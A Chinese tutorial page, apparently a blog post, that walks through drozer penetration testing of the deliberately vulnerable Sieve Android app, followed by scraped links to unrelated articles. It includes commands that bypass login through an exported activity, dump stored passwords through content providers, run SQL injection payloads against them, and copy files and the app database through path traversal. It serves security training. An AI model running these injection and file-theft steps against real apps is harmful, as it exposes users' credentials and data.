1. 在模拟器中打开drozer agent

  2. 启动连接drozer

    adb connect 127.0.0.1:xxxxx //adb连接设备,只有模拟器才需要这一步,不同模拟器端口不同

    adb forward tcp:31415 tcp:31415 //端口转发,连接drozer服务

    drozer console connect //连接drozer

3.使用“app.package.list”命令来查找筛子的标识符:

dz> run app.package.list -f sieve //搜索特定的包名

com.mwr.example.sieve



 

 

4.使用“app.package.info”命令提供有关包的一些基本信息:

dz> run app.package.info -a com.mwr.example.sieve

展示了应用程序的一些详细信息,包括版本、应用程序在设备上保存数据的位置、安装位置以及应用程序允许的权限的详细信息。



 

 5. 识别攻击面:

dz> run app.package.attacksurface com.mwr.example.sieve

服务是可调试的,可以使用adb将调试器附加到进程,并单步执行代码。

 

 

6. 显示暴露的Activity信息

dz> run app.activity.info -a com.mwr.example.sieve



 

 

7. 生成intent启动activity

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList





 

 

在后台制定一个适当的Intent,并通过startActivity调用将其传递给系统。

成功绕过了授权,并获得了用户凭据列表:

8. app.activity.start的更多选项

dz> help app.activity.start

usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY] [--component PACKAGE COMPONENT] [--data-uri DATA_URI] [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]] [--mimetype MIMETYPE]



 

 

9. 测试Content Provider (可能造成数据库泄漏

run app.provider.info -a com.mwr.example.sieve //获得更多Content Provider信息

drozer扫描器模块 汇集了各种猜测路径的方法,并预测可访问内容URI的列表:

dz> run scanner.provider.finduris -a com.mwr.example.sieve //使用扫描器枚举uri

dz> run app.provider.finduri com.mwr.example.sieve //枚举uri



 

 

使用其他drozer模块从这些内容URI中检索信息,甚至修改数据库中的数据:

dz> run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Passwords/

//获取数据库数据,即用户列表和之前保存的账号密码等信息

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical

//竖直显示数据库数据



 

 

10. 测试Content Provider SQL注入问题

//dz> run scanner.provider.injection -a com.mwr.example.sieve

//检测可利用uri,检查sql注入



 

 

利用暴露的content provider进行sql注入

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "'"

//数据库返回错误信息,和sql查询语句,再进行构造,从而查询自己想要获取的数据库信息

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "'"



 

 

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';-- "

//使用sql注入列出数据库中的所有数据表



 

 

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

//查询其他数据表

(Android操作系统默认使用SQLite数据库存储用户数据,SQLite数据库支持SQL语句,可以使用--projection参数和--seleciton参数传递一些简单的SQL注入语句到Content provider)

 

 

 

 

11. 从File System-backed Content Providers获取信息

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

根据应用程序数据目录路径 获得更多敏感信息

dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/etc/hosts hosts

//下载指定文件到指定目录

windows下不建议指定目录,会有问题,直接下到drozer的主目录下



 

 

eg: dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data /data/com.mwr.example.sieve/databases/database.db /home/user/database.db

//将应用程序的数据库从设备复制到本地计算机

 

 

12. drozer自动测试漏洞模块

dz> run scanner.provider.injection -a com.mwr.example.sieve

Drozer实践之sieve的更多相关文章

  1. 5.移动渗透测试工具之drozer

    本篇博文主要来介绍drozer在移动渗透中的作用 本次实验环境所用工具为:夜神模拟器,drozer-2.3.4,sieve.apk,adb drozer安装这里不再多嘴,给出链接:https://ww ...

  2. 利用drozer进行Android渗透测试

    一.安装与启动 1. 安装 第一步:从 http://mwr.to/drozer 下载Drozer (Windows Installer) 第二步:在 Android 设备中安装 agent.apk ...

  3. 编程实践中C语言的一些常见细节

    对于C语言,不同的编译器采用了不同的实现,并且在不同平台上表现也不同.脱离具体环境探讨C的细节行为是没有意义的,以下是我所使用的环境,大部分内容都经过测试,且所有测试结果基于这个环境获得,为简化起见, ...

  4. drozer的使用介绍

    0x00. 配置adb环境变量 下载地址:http://pan.baidu.com/s/1o8itZtC 密码:9o6j 如何配置android的adb环境变量 http://jingyan.baid ...

  5. Android测试(二)——drozer使用

    drozer启动: 1)首先在模拟 器或者安卓设备上开启drozer; 2)然后打开adb,转发端口: adb forward tcp:31415 tcp:31415 3)在电脑上开启drozer: ...

  6. Android App 注射&&Drozer Use

    x01 准备工作 测试环境: 1) 手机root权限 2) Adb.exe 3) 手机usb连接开启debug模式(在设置>关于手机>连续点击多次版本号,即可开启开发者模式) 4) Win ...

  7. 安卓渗透测试工具Drozer学习笔记

    下载,并安装. pip安装即可,安装完成后可能会出现缺少twisted依赖库的问题 ➜ vul git:(master) ✗ drozer console connect drozer Server ...

  8. Drozer

    Drozer原名mercury,是一款不错的Android APP安全评估工具.现在有社区版/专业版两个版本 本教程针对于Windows平台下drozer的安装与使用.使用该工具需要JDK的支持,所以 ...

  9. 03--(二)编程实践中C语言的一些常见细节

    编程实践中C语言的一些常见细节(转载) 对于C语言,不同的编译器采用了不同的实现,并且在不同平台上表现也不同.脱离具体环境探讨C的细节行为是没有意义的,以下是我所使用的环境,大部分内容都经过测试,且所 ...

  10. Drozer简单使用

    1.Drozer简介   Drozer是一款针对Android系统的安全测试框架.Drozer可以通过与dalivik VM交互.与其他应用程序的IPC端点交互.与底层操作系统的交互,来避免正处于开发 ...

随机推荐

  1. 子路由path路径带 ‘/‘与不带

    子路由不带 / : $router.push('/layout/home') 浏览器地址栏显示: http:xxxxxxxxxx/layout/home 带 / : $router.push('/us ...

  2. AttributeError: module 'requests' has no attribute 'get' 报错分析

    这个报错与代码时没有关系 当文件名与调用模块名重合时,系统找不到我们调用的requests模块. 在命名时,我们要注意不要重合.

  3. 第八周作业-N67044-张铭扬

    1. 完成ftp的mysql虚拟用户 数据库服务器:10.0.0.152 FTP服务器:10.0.0.156 #配置数据库服务器 [root@centos8 ~]# yum -y install ma ...

  4. 区块链leveldb数据库安装

    一.首先,需要在电脑上安装boost库. 下载地址在这里,下载压缩包之后解压,Index of main/release/1.79.0/source. 解压完成后在解压好的文件夹里面进入cmd,之后运 ...

  5. Day12 面向对象

    面向对象 前提须知:Java中想要创建对象,必须要有类的存在 类和对象的关系: 依赖关系:需要根据类,创建对象 数量关系:根据一个类,可以创建出多个对象 创建Student类的对象进行使用 创建对象的 ...

  6. maven打包springboot项目不能运行的解决办法

    前提是在开发工具中能正常运行,maven打包后无法运行. 打包后,进入打包文件路径 在dos下输出 java -version 显示jdk版本后,再 java -jar    xxxx.jar xxx ...

  7. Typora的一些基础用法

    Typora的简单实用技巧 标题 标题分为h1~h6六个等级,数字越小标题越大. 定义标题有一下几种方式. 方式一:这个标题手敲就在文本前边敲#号,#和文本中间需又空格隔开. 方式二:快捷键,Ctrl ...

  8. PageHelper大致逻辑

    简单涉及以下几个类: PageHelper   PageMethod  PageParam PageInterceptor  implement Interceptor PageHelperAutoC ...

  9. pyqt5中文教程

    本文转载自:http://code.py40.com/pyqt5/ 一.PyQt5基本功能 简单的例子 PyQt5是一种高级的语言,下面只有几行代码就能显示一个小窗口.底层已经实现了窗口的基本功能. ...

  10. Dockerfile打包java应用

    #基础镜像 FROM openjdk:8-jre # 作者 MAINTAINER hg #挂载目录 VOLUME /home/hg #创建目录 RUN mkdir /home/hg #指定工作目录 W ...